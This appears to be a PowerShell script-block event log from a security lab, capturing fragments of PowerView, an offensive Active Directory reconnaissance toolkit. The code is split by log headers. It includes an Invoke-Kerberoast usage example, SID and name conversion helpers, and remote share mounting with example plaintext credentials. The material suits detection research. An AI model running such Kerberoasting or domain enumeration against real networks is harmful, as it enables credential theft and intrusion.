.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcab853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110273Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local441 Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
}
}
}
}
function Convert-ADName {
<#
.SYNOPSIS
Converts Active Directory object names between a variety of formats.
Author: Bill Stewart, Pasquale Lantella
Modifications: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
and translates Active Directory names between various formats using the NameTranslate COM object.
.PARAMETER Identity
Specifies the Active Directory object name to translate, of the following form:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
.PARAMETER OutputType
Specifies the output name type you want to convert to, which must be one of the following:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
Convert-ADName -Identity "TESTLAB\harmj0y"
harmj0y@testlab.local
.EXAMPLE
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
testlab.local/Users/krbtgt
testlab.local/Users/Administrator
.EXAMPLE
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
CN=harmj0y,CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more objects name strings on the pipeline.
.OUTPUTS
String
Outputs a string representing the converted name.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'ObjectName')]
[String[]]
$Identity,
[String]
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
$OutputType,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$NameTypes = @{
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
'NT4' = 3 # fabrikam\pflynn
'Display' = 4 # pflynn
'DomainSimple' = 5 # pflynn@fabrikam.com
'EnterpriseSimple' = 6 # pflynn@fabrikam.com
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
'Unknown' = 8 # unknown type - let the server do translation
'UPN' = 9 # pflynn@fabrikam.com
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
'SPN' = 11 # HTTP/kairomac.contoso.com
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
}
# accessor functions from Bill Stewart to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
$Output = $Null
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
Write-Output $Output
}
function Get-Property([__ComObject] $Object, [String] $Property) {
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
}
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
}
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {
# if no domain or server is specified, default to GC initialization
$ADSInitType = 3
$InitName = $Null
}
}
PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}
$Translate = New-Object -ComObject NameTranslate
if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPasswordb853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110272Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local341 $Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Object in $ObjectName) {
$Object = $Object -Replace '/','\'
if ($PSBoundParameters['Credential']) {
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
if ($DN) {
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$UserName = $DN.Split(',')[0].split('=')[1]
$DomainSearcherArguments['Identity'] = $UserName
$DomainSearcherArguments['Domain'] = $UserDomain
$DomainSearcherArguments['Properties'] = 'objectsid'
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
}
}
else {
try {
if ($Object.Contains('\')) {
$Domain = $Object.Split('\')[0]
$Object = $Object.Split('\')[1]
}
elseif (-not $PSBoundParameters['Domain']) {
$DomainSearcherArguments = @{}
$Domain = (Get-Domain @DomainSearcherArguments).Name
}
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
}
}
}
}
}
function ConvertFrom-SID {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName
.DESCRIPTION
Converts a security identifier string (SID) to a group/user name
using Convert-ADName.
.PARAMETER ObjectSid
Specifies one or more SIDs to convert.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
TESTLAB\harmj0y
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
TESTLAB\WINDOWS2$
TESTLAB\harmj0y
BUILTIN\Distributed COM Users
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more SID strings on the pipeline.
.OUTPUTS
String
The converted DOMAIN\username.
#>
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('SID')]
[ValidatePattern('^S-1-.*')]
[String[]]
$ObjectSid,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($TargetSid in $ObjectSid) {
$TargetSid = $TargetSid.trim('*')
try {
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
Switch ($TargetSid) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
